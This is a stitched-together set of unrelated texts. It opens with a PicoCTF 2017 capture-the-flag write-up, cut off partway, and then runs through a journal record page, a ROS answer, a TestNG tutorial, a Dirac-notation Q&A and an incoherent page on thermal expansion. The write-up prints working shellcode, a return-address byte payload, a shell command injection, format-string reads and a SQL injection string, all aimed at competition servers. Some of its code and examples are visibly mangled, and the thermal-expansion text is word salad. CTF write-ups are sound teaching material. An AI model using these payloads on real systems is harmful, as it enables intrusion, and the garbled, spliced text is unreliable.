text:
# PicoCTF 2017 Write-up

25 Aug 2017

## Level 1

### Cryptography

#### Keyz

This exercise is about creating a SSH key, and then using the web shell to login with it.

Why use SSH keys? You can be authenticated by the server without having to send your password over a network. You are invulnerable to brute force. SSH keys are created in pairs, one is the private key and the other is the public key. You can share the public key with the server, but make sure the private key is kept for your eyes only (usu. ~/.ssh).

First, you need to use ssh-keygen to create a unique SSH key for yourself. Use -t for a type of RSA key and -C for a comment. If not already setup, this should setup a .ssh directory that has something like: id_rsa , id_rsa.pub

Add the id_rsa.pub to your authorized_keys in the PICO CTF web shell.

References:

### Reverse Engineering

#### Raw2Hex

First change directory. But when we get there and try to cat flag - we can’t! Permission denied.

Let’s look at the hex2raw executable. Once we do it, it gives us the flag in raw: v\h3-

How do we get the raw Ascii back to hex? Just pipe it to XXD!

cd /problems/45f3b0abcf176b7cf7c1536b28d05d72
./raw2hex | xxd -p

## Level 2

### Forensics

#### Little School Bus

Can you help me find the data in this littleschoolbus.bmp?

This is least significant bit steganography! We can feed it into MatLab

#### Just Keyp Trying

Here’s an interesting capture of some data. But what exactly is this data? Take a look: data.pcap

Take a look at it in Notepad! It’s… erm… undecipherable confusing data squiggles? Anyway, it’s a .pcap file, so let’s look in WireShark.

The info column says “URB_INTERRUPT in”, while the protocol column says “USB”.

These packets seem to be USB packets with USBPcap headers. Not only do the packets differ in time - but, in a value called Leftover Capture Data, aka. usb.capdata. An example is “00 00 15 00 00 00 00 00”

Why is it in that format? Well, a keyboard sends press-key and release-key information to the OS, which interprets it based on the application. The usual format is in a byte array like: [modifier, reserved, key1, key2, key3, key4, key6, key 7]. For instance, ‘a’ is [0,0,4,0,0,0,0,0]. A capitol ‘A’ would have a ‘Left Shift’ modifier so it’d be: [2,0,4,0,0,0,0,0]

We want the third byte, and we’re going to reference the usage tables for key codes on a USB keyboard. The usage ID is the third field for key1.

Use tshark to get the byte array tshark -r data.pcap -T fields -e usb.capdata | cut -d ':' -f 3. Then feed that into python with a dictionary for a-z, numbers and their usage ids. I got flag{pr355_0nwards_3A10134E}

Note: Do not worry about case sensitivity

References:

### Cryptography

#### LeakedHashes

Someone got hacked! Check out some service’s password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check… The service is running at shell2017.picoctf.com:4534!

The hashdump seems to resemble format (user)::(encrypted password)

The encrypted passwords are hashes - but lets find if some are decrypted. I decided to login as nadia with the decrypted hash of w0k3w4ll

Congratulations. You are in the ASCII cat database! And there’s the flag! =^_^=

#### Weird RSA

We recovered some data. It was labeled as RSA, but what in the world are “dq” and “dp”? Can you decrypt the ciphertext for us?

The data file has: c, p, q, dp, dq

It seems like this might be related to an equation. A quick search leads us to Chinese remainder algorithm where p and q are primes for the key generation, and dp and dq are (1/e)(mod (p-1)( and (1/e)(mod (q-1)) respectively.

Then, there’s qInv = (1/q) mod (p)

• p and q are primes for key generation
• dp = (1/e) mod (p-1)
• dq = (1/e) mod (q -1)
• Qinv = 1/q mod p (multiplicative inverse - not regular div)
• m1 = pow(c,dp,p)
• m2 = pow(c, dq, q) 7-1) h = Qinv(m1 - m2) mod p ; if m1 < m2 7-2) h = Qinv * (m1 + q/p)
• m = m2 + hq

We can feed this into python. A trick is to use the built-in pow function because you can supply a mod. This reduces the program time, instead of using mod, %, after computing the power.

foo:
# From stack overflow to calculate multiplicative inverse
# https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:

g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

# We have c,p,q, dp, dq

# We need to get qinv
# qinv is 1/q (mod p)
qinv = modinv(q, p)

#print(pow(2,1,10))
# m1 is c^(dp)(mod p)
m1 = pow(c,dp,p)
# m2 is c^(dp)(mod q)
m2 = pow(c, dq,q)
# h is qinv * (m1 - m2) * (mod p)
h = (qinv * (m1 - m2)) % p
# m = m2 + hq
m = m2 + h * q
print(m)

Don't forget to change the decoded hex into Ascii to read the flag!

### Reverse Engineering

#### A Thing Called the Stack

A friend was stacking dinner plates, and handed you this, saying something about a “stack”. Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

We want the difference (bytes) between the value of the register esp at the return address of the current frame and at the end of the code.

esp and ebp are both registers. ebp points to the base of the current frame (just below the return address of the current function frame), and esp points to the top of the stack.

Things of note:

• The format of assembly code is operation arg or operation arg1,arg2
• For a 32 bit system, each value on the stack takes 4 bytes
• The difference between the esp (instruction pointer) and ebp (base pointer) is the function stack frame
• The x86 assembly language here is AT&T Synatx

The assembly code is:

foo:
pushl %ebp
mov %esp, %ebp
pushl %edi
pushl %esi
pushl %ebx
sub $0x48, %esp movl$0x1, (%esp)
movl $0x2, 0x4(%esp) movl$0x3, 0x8(%esp)
movl $0x4, 0xc(%esp) Let’s walk through this one step at a time. 1. Foo function is called, the return address is pushed on top of the stack. Stack return address saved ebp <= %esp 2. ebp register is pushed onto the stack. 3. current value of esp is assigned to ebp 4. push DWORD contents of edi to address pointed by esp. 5. push DWORD contents of esi to address pointed by esp. 6. push DWORD contents of ebx to address pointed by esp. Stack return address saved ebp %edi %esi %ebx <= %esp 7. subtract esp by 0x48 * Note: stack grows to lower addresses; subtraction moves esp farther away from ebp 8. place value of 0x1 into the first DWORD slot of array (0,esp) 9. place value of 0x2 into the second DWORD slot of array (4,esp) 10. place value of 0x3 into the third DWORD slot of array (8,esp) 11. place value of 0x4 into the fouth DWORD slot of array (12,esp) The difference between of esp is 0x58, which is the flag! The final stack: Stack ebp: ebp-4 %ebp ebp-8 %edi ebp-12 %esi ebp-16 %ebx ebp-88 0x1 ebp-92 0x2 ebp-96 0x3 ebp-100 0x4 <= %esp • Where is the return address saved on the stack? It is stored by the instruction base pointer, ebp, which holds the current stack frame. • Which commands actually affect the stack? Commands that modify like push and pop. However, the final mov commands do not affect the stack because they do not actually modify the esp register. The mov commands are instead writing values to the place that the register esp is pointing to on the stack. We know this because of the surrounding parentheses, ie. movl$0x3, 0x8(%esp).

References:

#### Programmers Assemble

You found a text file with some really low level code. Some value at the beginning has been X’ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

Let’s look through the code.

.global main

main:
mov $XXXXXXX, %eax mov$0, %ebx
mov $0x6, %ecx loop: test %eax, %eax jz fin add %ecx, %ebx dec %eax jmp loop fin: cmp$0x86a0, %ebx
je good
mov $0, %eax jmp end good: mov$1, %eax
end:
ret

We want to return 0x1, and we find that in the good subroutine. Okay, so the big question is - how do we get to good?

Let’s work backwords.

To get to good, we need to get to fin. We have a operation cmp $0x86a0, %ebx where we need ebx to equal 0x86a0 or 34464. Okay, how do we get to fin? To get to fin, we need eax to equal 0 in the loop subroutine. If eax is not 0, then the loop will repeat with the following.  add %ecx, %ebx dec %eax jmp loop The register ecx is added with what’s in the register ebx. Then the register eax is decremented. It continues until eax is zero (hence, the subroutine being named a loop!) $ebx += (eax * ecx)$ If we note at the beginning of the main subroutine, ebx is initialized to 0 and ecx is initialized to 6. We want ebx, however, to evaluate to 34464 for the fin subroutine. $34464+= (eax * 6)$ We divide by 6 to get 5744, which is 0x1670 in hex. This is the starting value that eax is initialized to. 0x1670 is our flag. References: ### Web Exploitation #### My First SQL I really need access to website, but I forgot my password and there is no reset. Can you help? SQL Injection is where someone inserts a string that is interpreted as code. SQL queries can show what fields are matched from the database. A successful injection allows one to read and modify the database data. select * from users where user = ''' and pass = ''; To test the vulnerability, this is a common input. ' OR '1'='1 The first part is a blank statement while the second will always evaluate to true. The single quotation is the character limiter for SQL. When you delimit strings, you can test whether the strings are properly escaped. #### TW_GR_E1_ART Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one…? Check it out here. Click the link to get to Toaster Wars! Our goal is to get to the flag room. Takes too long to move the toaster. Not sure why I’m experiencing so much lag; will revist. ### Binary Exploitation #### Shellz You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:6942. Look into the shellz.c code. It will execute bytes as a function. First, lets find shellcode that is less than 40 bytes long. Here is a good one that is 21 bytes. > echo -e "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2$
My mother told me to never accept things from strangers
How bad could running a couple bytes be though?
Give me 40 bytes:

ls
flag.txt
shellz
shellz_no_aslr
xinetd_wrapper.sh
cat flag.txt
4effa67d6909029fd3cc45600f024e3f

#### Shells

How much can a couple bytes do? Use shells! Source. Connect on shell2017.picoctf.com:55049.

This is kind of suspicious in the shells.c. The function win will read the flag!

//TODO: Ask IT why this is here
void win(){
system("/bin/cat ./flag.txt");
}

Perhaps we can play with the function win. We can’t just pipe in shellcode because.. now, unfortunately, the program only wants 10 bytes!

First, let’s get the address of the function win with gdb.

gdb shells
(gdb) print &win
$1 = (<text variable, no debug info> *) 0x8048540 <win>  Awesome! So the memory location we want is 0x8048540. Now, there are two options. You can either jump to it or push it to the instruction pointer, and return. I’ve decided to push to the address. This is a useful tool for converting from assembly to byte code. Assembly ByteCode push 0x8048540 \x68\x40\x85\x04\x08 ret \xC3 Now we just have to pipe the bytes into the program. (echo -e "\x68\x40\x85\x04\x08\xC3" ; cat -) | nc shell2017.picoctf.com 55049  The flag we get is 790fe1a8c59ae1e7607273ace0014dfc References: #### Guess The Number Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:40780. The strtol is a function that interprets an integer value in a byte string. long int strtol(const char *str, char **endptr, int base) Strtol is what takes our input, which is originally a 32-bit integer. Perhaps we can overflow it with the register that has the win function in the guess_num.c code. Important things to note: • We want val to point to the win address • val gets checked for overflow • There is a 4 bitwise shift to the right scanf("%32s",buf); val=strtol(buf,NULL,10); val >>=4; strtol checks for overflow, but it does allow negative numbers. Our address for win is 0x804852b . In decimal, this is: 134513963. In binary, this is: 1000 0000 0100 1000 0101 0010 1011 We shift win to the left by 4 places. 1000 0000 0100 1000 0101 0010 1011 0000 This is now 2152223408 in decimal. It is greater than a 32 bit integer whose max value is 2147483647. That said, we can use the information that 2152223408 will overflow. We just need to figure out what that number is. So, we need to input the number -2142743887 > nc shell2017.picoctf.com 40780 Welcome to the number guessing game! I'm thinking of a number. Can you guess it? Guess right and you get a shell! Enter your number: -2142743887 You entered -2142743887. Let's see if it was right... Congratulations! Have a shell: /bin/sh: 0: can't access tty; job control turned off$ ls
flag.txt
guess_num
xinetd_wrapper.sh
\$ cat flag.txt
e08d404edccb7d8259f1fe02acd34894

The flag is e08d404edccb7d8259f1fe02acd34894

#### Ive Got A Secret

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:5320.

The hint tells us that this is a beginning format string attack.

A format string is usually the first argument to a printf function. They use format specifiers to indicate how it should be formatted.

• Position in string indicates argument
• Specifier like %s, %f, %d indicate type
• printf takes variable number of arguments
• printf can access memory outside of where the stack frame “ends”

It is sometimes called or compared to a buffer overflow because (1) the stack data structure is similar to a buffer and (2) bogus input allows one to access outside a stack frame. Here are some examples.

\\ Normal usage
printf("My name is %s and I am %d", name, age);
\\ Where it goes wrong
printf("100% dood"); \\ Prints stack entry 4 bytes above %eip
printf("%s"); \\ Prints bytes pointed to by that stack entry
printf("100% no") \\ Writes 3 to address pointed to by stack entry

When we look at the secret.c code, there’s two things to note. First, there’s a call to /dev/urandom, which generates a random value each instance for the variable secret. This is the variable that is compared to our input to determine if we can cat the flag. Last but not least, we can see that printf is used. This is important because the printf(buffer) in the code does not check for type. This means that we can netcat in and use format strings like %x to acess values.

So, let’s do it! Let’s read from the stack!

nc shell2017.picoctf.com 5320
> %x %x %x %x %x %x %x %x %x %x %x

I get this on the first try:

40 f7fc7c20 8048792 1 ffffdd34 76593d94 3 f7fc73c4 ffffdca0 0 f7e37a63

I get this on the second try:

40 f7fc7c20 8048792 1 ffffdd34 f6bc530 3 f7fc73c4 ffffdca0 0 f7e37a63

By comparing the two, we know that the 5th argument or result from %x is the address that is holding the variable secret.

On my last try:

40 f7fc7c20 8048792 1 ffffdd34 516ff4c6 3 f7fc73c4 ffffdca0 0 f7e37a63

Great! I give the secret, 516ff4c6 , and obtain the flag 7662bb6d94ae9ab986288a5353e7b86a

References:

#### Flagsay 1

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:51865.

I’m up for flag making! The user input is echoed by the system

char commandBase[] = "/bin/echo \"%s\"\n";
...
snprintf(command,commandLen,commandBase,flag);
system(command)

Input is not escaped so let’s use this vulnerability. We can use the quotation marks to make it seem like a string, but with the semicolon to execute our command. Normally, you use semicolons in bash programming to have multiple commands on a line. For instance, ls . ; cd .. would list your current directory and then change your directory to the parent.

nc shell2017.picoctf.com 51865
" ; /bin/ls . "
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
/bin/ls: cannot access                     /
//                                   /
.:
flagsay-1
flagsay-1_no_aslr
flag.txt
xinetd_wrapper.sh

Lets get into flag.txt!

nc shell2017.picoctf.com 51865
" ; /bin/cat ./flag.txt "
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
2ab2050bf32e84975a10d774a919e1d0
/bin/cat:           /
//                                   /
//                                   /

The flag is 2ab2050bf32e84975a10d774a919e1d0.

#### VR Gear Console

Here’s the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9

Questions:

• What happens if you read in more characters than the length of the username buffer?

### Master Challenge

Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

This is the end challenge for Level 2.

If we take a look at the file provided in a text editor, there’s several things in it with a .png extension. This hints to the file being a zip archive.

Let’s extract it!

>unzip file
Archive:  file
inflating: dumped/nottheflag1.png
inflating: dumped/nottheflag2.png
inflating: dumped/nottheflag3.png
inflating: dumped/nottheflag4.png
inflating: dumped/nottheflag5.png
inflating: dumped/nottheflag6.png

Shiz. That didn’t work. Lets look at the header of the file because that will tells us more about the file type. We can use the utilities hexdump or xxd to find out what this file has.

5858 5858

It should be: PK\x03\x04 or 504B 0304

Lets edit the file, unpack the zip, and open up the flag!

>hexedit file
>xxd file | less
>unzip file
Archive:  file
inflating: flag.png
inflating: nottheflag1.png
inflating: nottheflag2.png
inflating: nottheflag3.png
inflating: nottheflag4.png
inflating: nottheflag5.png
inflating: nottheflag6.png
>feh flag.png

The flag is zippidyd00da92849522

## Level 3

### Cryptography

#### HashChain

We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:50102!

A hash chain is a successive application of a hash. For instance, let H be the hash function and x as the secret string. A server might store the hash1000(x). When the user authenticates with the server, they give it hash999(x). The server then takes the hash of hash999(x) to get back a value, H(hash999(x)) which it checks with hash1000(x).

There are two steps for the server:

1. Check if H(hash999(x)) equal hash1000(x)
2. If it does, replace hash1000(x) with hash999(x)

When we netcat into the application, we are greeted by this.

> nc shell2017.picoctf.com 50102

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

r
Hello new user! Your ID is now 4343 and your assigned hashchain see
2000f6325dfc4fc3201fc45ed01c7a5d
Please validate your new ID by sending the hash before this one in
ill hash to the one I give you):
d94f478797ce761c3d3a0c98b643652c

When we look at the provided python example, they use md5 hashes. This gives us a hint. There’s need to be a unique seed because one is randomly generated at login. Lets modify it so that the seed is the id. We can modify the python code provided to print out the hash values for a 100-long hash chain.

id=4343
last_hash="d94f478797ce761c3d3a0c98b643652c"
seed = md5.new(str(id)).hexdigest()

hashc = seed
for i in xrange(100):
hashc = md5.new(hashc).hexdigest()
if str(hashc) == last_hash:
print("-----------------------")
print("This was the last hash from the server.")
print(hashc)
print("-----------------------")
print(hashc, i)
print hashc

From this, we get a log of the hashes. We can work backwords from here. To get hash d94f478797ce761c3d3a0c98b643652c, we must hash c26ce5807968077a80d75838b8e890e0 . We enter this back into the server - awesome, it accepts it!

Lets log back to the server, but now with the intention to get the flag.

nc shell2017.picoctf.com 50102

*******************************************
***            FlagKeeper 1.1           ***
*  now with HASHCHAIN AUTHENTICATION! XD  *
*******************************************

Would you like to register(r) or get flag(f)?

r/f?

f
This flag only for user 2597
d7d3349d43c0f76bdf21e230eeb50937
Next token?
24323e6ff96359a38fbc1025bd693bc4
Hello user 2597! Here's the flag: 96630f954dd403c7882666b5443e4678

The flag is 96630f954dd403c7882666b5443e4678.

There are a couple downsides to our python code. For example, it’s much more likely that the hash chain will be longer than 100. Additionally, we could have looped back our python code into the program by reading in the system output of the hash.

References:

You stumbled upon a group Message. Can you figure out what they were sending? The string sent is ascii encoded as a hex number (submit the ascii string as the flag)

We have a hint: The same message, with a small exponent, is being encrypted with several different n values

When we look at the values in the message, we see assignment of variables e,c1,n1,c2,n2,c3,n3

A quick search shows me that this is RSA with a low secret exponent. In particular, this is Hastad’s broadcast attack. We have 3 different ciphertexts and 3 different public keys. Because n1, n2, and n3 are relatively prime, then we can use the Chinese Remainder Theorem to calculate the third root.

Good news is that we don’t have to recreate the wheel because someone already made a python tool

> python rsaHastad.py n1 n2 n3 c1 c2 c3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
JulesDT -- 2016
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Decoded Hex :
62726f6164636173745f776974685f736d616c6c5f655f69735f6b696c6c65725f3630383136393138303832
---------------------------
As Ascii :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


text:
de.mpg.escidoc.pubman.appbase.FacesBean
English

# Item

ITEM ACTIONSEXPORT
Matrix factorisations for rational boundary conditions by defect fusion

Behr, N., & Fredenhagen, S. (2015). Matrix factorisations for rational boundary conditions by defect fusion. Journal of high energy physics: JHEP, 2015(05): 055. doi:10.1007/JHEP05(2015)055.

Item is

### Basic

show hide
Genre: Journal Article

### Files

show Files
hide Files
:
1407.7254.pdf (Preprint), 679KB
Description:
File downloaded from arXiv at 2014-09-09 11:39
Visibility:
Public
MIME-Type / Checksum:
application/pdf / [MD5]
-
-
:
JHEP05_2015_055.pdf (Publisher version), 904KB
Description:
-
Visibility:
Public
MIME-Type / Checksum:
application/pdf / [MD5]
-
Open Access
-

show

### Creators

show
hide
Creators:
Behr, Nicolas, Author
Fredenhagen, Stefan1, Author
Affiliations:
1Quantum Gravity & Unified Theories, AEI-Golm, MPI for Gravitational Physics, Max Planck Society, escidoc:24014

### Content

show
hide
Free keywords: High Energy Physics - Theory, hep-th,Mathematical Physics, math-ph,Mathematics, Mathematical Physics, math.MP
Abstract: A large class of two-dimensional $\mathcal{N}=(2,2)$ superconformal field theories can be understood as IR fixed-points of Landau-Ginzburg models. In particular, there are rational conformal field theories that also have a Landau-Ginzburg description. To understand better the relation between the structures in the rational conformal field theory and in the Landau-Ginzburg theory, we investigate how rational B-type boundary conditions are realised as matrix factorisations in the $SU(3)/U(2)$ Grassmannian Kazama-Suzuki model. As a tool to generate the matrix factorisations we make use of a particular interface between the Kazama-Suzuki model and products of minimal models, whose fusion can be realised as a simple functor on ring modules. This allows us to formulate a proposal for all matrix factorisations corresponding to rational boundary conditions in the $SU(3)/U(2)$ model.

### Details

show
hide
Language(s):
Dates: 2014-07-2720152015
Publication Status: Published in print
Pages: 33+23 pages, 3 figures
Publishing info: -
Rev. Method: -
Identifiers: arXiv: 1407.7254
DOI: 10.1007/JHEP05(2015)055
Degree: -

show

show

show

### Source 1

show
hide
Title: Journal of high energy physics : JHEP
Source Genre: Journal
Creator(s):
Affiliations:
Publ. Info: Bologna, Italy : Società italiana di fisica
Pages: - Volume / Issue: 2015 (05) Sequence Number: 055 Start / End Page: - Identifier: ISSN: 1126-6708
CoNE: http://pubman.mpdl.mpg.de/cone/journals/resource/111021927548002

format: plain


text:
Ask Your Question

# Revision history [back]

Assuming you are using ROS1: The NodeHandles define how names are resolved in the ROS system. See the wiki for details.

One typical use case is the following:

Create a regular and a private NodeHandle:

ros::NodeHandle nh();
ros::NodeHandle pnh("~");

Topics, services, etc. typically use the regular NodeHandle nh. This ensures that topics etc. are always relative to the nodes namespace.

A private NodeHandle makes the nodes name part of the namespace. This is good for parameters, as they are typically tightly coupled to the node itself and thus having them private avoids collisions.


text:
# How to turn off TestNG's default reporters programmatically?

TestNG allows to run the test suites from IntelliJ IDE as well as from the command line. When user runs the testNG.xml either from an IDE or the command line, TestNG generates a default report. It saves all the reports and respective HTML files in the Project->test-output folder. If this folder does not exist, then TestNG creates one.

To disable the default reports programmatically, TestNG should be run through the command line (cmd).

Following are the prerequisites to run the test suites from the command line −

• testNG.xml file should be created to define the test suites and testing classes to execute.

• All the dependent jars should be available inside a project folder. It includes testing.jar, jcommander.jar and any other jars that are used in the test cases.

• The Path of bin or out folder where .class files are stored after compilation.

Approach/Algorithm to solve this problem −

• Step 1 − Create different testing classes having different @Test methods and one @BeforeSuite method.

• Step 2 − Compile the class. It will create an out folder in IntelliJ and bin folder in Eclipse.

• Step 3 − Place all the jar files in the lib folder.

• Step 4 − Now create the testNG.xml as given below.

• Step 5 − Open the cmd.

• Step 6 − Navigate to the project path using cd <project_path>

• Step 7 − Run the following command:

java -cp <path of lib;> <path of out or bin folder> org.testng.TestNG <path of testng>/testng.xml

## Example

The following code shows how to disable the default report generation at runtime −

src/ NewTestngClass.java

import org.testng.TestNG;
import org.testng.annotations.*;
public class NewTestngClass {
// test case 1
@Test()
public void testCase1() throws InterruptedException {
System.out.println("in test case 1 of NewTestngClass");
}
// test case 2
@Test()
public void testCase2() throws InterruptedException {
System.out.println("in test case 2 of NewTestngClass");
}
@BeforeSuite
public void name() {
TestNG myTestNG = new TestNG();
myTestNG.setUseDefaultListeners(false);
System.out.println("Default reports are disabled");
}
}

src/testng.xml

This is a configuration file that is used to organize and run the TestNG test cases. It is very handy when limited tests are needed to execute rather than the full suite.

<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
<suite name = "Suite1">
<test name = "test1">
<classes>
<class name = " NewTestngClass"/>
</classes>
</test>
</suite>

Command to run −

java -cp .\lib\*;.\out\production\TestNGProject org.testng.TestNG src\testng.xml

## Output

Default reports are disabled
in test case 1 of NewTestngClass
in test case 2 of NewTestngClass

===============================================
Suite1
Total tests run: 2, Passes: 2, Failures: 0, Skips: 0
===============================================


text:
# How does Dirac show that $\langle B|\bar{\bar{\alpha}}|P\rangle\;=\; \overline{\langle P|{\bar{\alpha}}|B\rangle}\;=\; \langle B|{\alpha}|P\rangle$?

Dirac shows that the conjugate imaginary of $\langle \!P|\alpha$ is $\bar{\alpha} |P\!\rangle$ and then starts with the identity on page 27 in his book:

$$\langle B|\bar{{\alpha}}|P\rangle\;=\; \overline{\langle P|{{\alpha}}|B\rangle}\tag {4}$$

He then says this expression is true for any linear operator $\alpha$ and ket vectors$|P\!\rangle$ and $|B\!\rangle$; so replacing $\alpha$ with $\bar\alpha$ we get

$$\langle B|\bar{\bar{\alpha}}|P\rangle\;=\; \overline{\langle P|{\bar{\alpha}}|B\rangle}\;=\; \langle B|{\alpha}|P\rangle$$

by using (4) again with $|P\!\rangle$ and $|B\!\rangle$ interchanged.

Why should this give the second equality?

If (4) is applied again, I would expect ${\bar\alpha}\rightarrow \bar{\bar\alpha}$ getting back to the LHS expression, yet Dirac has ${\bar\alpha}\rightarrow \alpha$

• It's just hermitian conjugation. It obeys $(ABC\dots Z)^\dagger = Z^\dagger Y^\dagger \dots C^\dagger B^\dagger A^\dagger$. The Hermitian conjugation of a $c$-number $\alpha$ is simply the complex conjugate $\bar \alpha$, and adding the bar (or dagger) twice is like erasing both. – Luboš Motl Sep 2 '14 at 17:07

The relation (4) literally switches the states, adds an overall complex conjugate, and removes a hermitian bar over the operator.

(Actually, no one uses bars anymore to denote hermitian conjugates, they use daggers instead. And because stacked bars get ugly, I'll use stars for complex conjugation of plain complex numbers.)

Thus we have $$\langle B \mid (\alpha^\dagger)^\dagger \mid P \rangle = \left(\langle P \mid \alpha^\dagger \mid B \rangle\right)^* = \left(\langle B \mid \alpha \mid P \rangle^*\right)^* = \langle B \mid \alpha \mid P \rangle.$$ Since this holds for any $\lvert B \rangle$, $\lvert P \rangle$, and $\alpha$, this shows in a roundabout way that $\alpha^{\dagger\dagger} = \alpha$ for any $\alpha$. I think what's confusing you is that you assumed such an obvious fact before Dirac did, and you thought (4) meant "switch states, add an overall complex conjugate, and add a hermitian bar over the operator (which may cancel with one already there)."

• Indeed; I assumed that the adjoint of an adjoint cancelled like the inverse operator. It seems obvious now that the adjoint of an adjoint should initially be assumed to give a different linear operator since its still just a linear operator. – Physiks lover Sep 3 '14 at 17:40


text:
## thermal expansion coefficient

Crystals tend to have the lowest thermal expansion … Coefficient of thermal expansion must be considered in components that use a mixture of materials such as heat exchangers with mild steel shells and austenitic grade tubes. From this observation it can be determined that the amount that a body expands in response to a rise in temperature is linearly dependent on the original size of the body. Coefficient of linear thermal expansion is designated by the symbol α (alpha). The coefficient of thermal expansion is defined as the change in length or volume of a material for a unit change in temperature. The thermal expansion of materials can be a major roadblock for building and designing, however, many application processes and technologies have been designed with thermal expansion as a fundamental component of function. Expansion of a gas at constant pressure can be calculated from Charles/Gay-Lussac Law as can the pressure at constant volume with increasing temperature. An observational approach can be adopted to find a useful equation to predict the resulting size of a body after a temperature change. In calculating entropy change for a solid under isothermal pressure change, we used thermal volume expansion coefficient ($${ \alpha }_{ V }$$). It is also obvious through observation that all materials expand differently. The expansion of alcohol in a thermometer is one of many commonly encountered examples of thermal expansion, which is the change in size or volume of a given system as its temperature changes.The most visible example is the expansion of hot air. A little compression is good, alot is bad. Thermal expansion coefficients for some common materials: 10-6 m/moC = 1 μm/moC … … THE COEFFICIENT OF LINEAR thermal expansion (CTE, α, or α 1) is a material property that is indicative of the extent to which a mate-rial expands upon heating. Linear thermal expansion coefficients for aluminum and … Barron, T.H.K., Collins, J.C., & White, G.K. (1980). There are a few examples of dilatometers that are designed to measure the volume of solid metal pieces to determine thermal expansion. BN, Zinc Blende. What is the SI unit of thermal expansion? In the video, we used the relationship Other materials such as silicon carbide used in the construction of space telescopes are finely tuned for temperatures as low as -190oC. Body expansion cannot be calculated. Thermal expansion is most obvious in gasses and liquids but can still have a substantial effect on solids. Thus, For most solids the coefficient β p is positive, typically 10 −5 and tables are available for … Thermal expansion describes the tendency of an object to change its dimension either in length, area or volume due to heat. CTE is usually given in units of um/m/°C or ppm/°C. Linear thermal expansion coefficient is defined as material's fractional change in length divided by the change in temperature. Coefficient of thermal expansion ( x10-6 K-1) 250-300: Lower working temperature ( C )-70 to -50: Specific heat ( J K-1 kg-1) 1300 - 1500: Thermal conductivity @23C ( W m-1 K-1) 0.22: Upper working temperature ( C ) 200-260 The amount by which a substance expands in reaction to a change in temperature is mathematically represented by a coefficient of thermal expansion. If the temperature increases, then the volume of the material also increases. per degree Fahrenheit or Celsius. To convert the coefficient of linear expansion into the coefficient of area expansion, multiply by 2 (don't square it). Since α is a constant unknown coefficient, it can be said that 3α is a new constant unknown coefficient named the coefficient of volume thermal expansion, (β). It has significantly higher accuracy than dilatometry. This causes objects to get bigger as their temperature increases. One design is the capacitance dilatometers. In particular, YSZ has a thermally stable phase structure and chemical inertness in both oxidative and reductive environments. Maintained by Still Up Marketing | Sitemap, Thermal Conductivity, Thermal Diffusivity & Specific Heat, Thermal Conductivity & Thermal Resistivity, Homogeneous, Heterogeneous, Metals & Composites, Announcement: A Collection of Transient Line Source Research Papers is added to Paper Database, The “Never Charge Again” Matrix PowerWatch Series 2, Differential Scanning Calorimeter, DSC-L600, Thermogravimetric Analyzer, TGA-1000 & TGA-1500, Thermal Conductivity / Thermal Diffusivity, https://doi.org/10.1080/00018738000101426, https://www.engineeringtoolbox.com/linear-expansion-coefficients-d_95.html, https://x-engineer.org/undergraduate-engineering/physics/thermodynamics/calculate-thermal-expansion/, https://en.wikipedia.org/wiki/Expansion_joint#/media/File:BridgeExpansionJoint.jpg, Heat Exchangers and Thermal Fluids in the Food Processing Industry, Hypothermia – Signs, Symptoms and Treatment, Thermtest is attending the 9th Rostocker International Conference, Starlite: The Mysterious Material with an Extremely High Thermal Resistance and How to Make it at Home, ABS (Acrylonitrile butadiene styrene) thermoplastic, Nylon, Type 11, molding and extruding compound, Nylon, Type 12, molding and extruding compound, Polyethylene (PE) – High Molecular Weight. However, in most cases, not volume but linear expansion coefficients ($${ \alpha }_{ L }$$) are available. Stainless steels are perhaps the most commonly measured due to their abundant use in many applications. The degree of expansion divided by the change in temperature is called the material's coefficient of thermal expansion and generally varies with temperature. Linear thermal expansion coefficient. Linear thermal expansion is the most common calculation used to estimate the expansion caused by a change in temperature. (∂ρ / ∂T) p. For an isotropic material such as an amorphous polymer, the volumetric expansion coefficient is in … The coefficient of thermal expansion is the rate at which the size of a material changes with respect to temperature change. Measurements of a change in volume caused by a physical or chemical process is called dilatometry. If you cannot find it, try using a reference table to get an approximate value. This coefficient is unique to each material and is based on their other physical properties. Coefficient of thermal expansion is defined as the change in unit length per degree of temperature change. For gas, it is important to keep 